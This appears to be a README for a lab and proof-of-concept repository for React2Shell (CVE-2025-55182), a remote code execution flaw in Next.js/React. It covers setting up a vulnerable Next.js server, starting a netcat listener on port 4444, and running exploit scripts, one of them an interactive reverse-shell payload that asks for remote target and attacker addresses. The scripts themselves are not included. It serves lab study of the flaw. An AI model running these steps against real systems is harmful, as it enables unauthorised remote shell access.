React2Shell CVE-2025-55182

POC and lab setup

Create the server from scratch

npm create next-app@15.4.7 react2shell-lab

Accept defaults is fine, name it whatever

OR

Clone the repo

git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.git

AND

Install dependencies

npm install

THEN

Run the server - terminal 1

cd react2shell-lab
npm run dev

Create nc listener - terminal 2

nc -nlvp 4444

Run the test exploit - terminal 3

python3 react2shell-exploit-1.py

This exploit is good for testing the localhost configuration. Uncomment teh other payload for a reverse shell...

Interactive reverse shell payload for remote target

python3 react2shell-exploit-2.py

This version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.

Sources:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182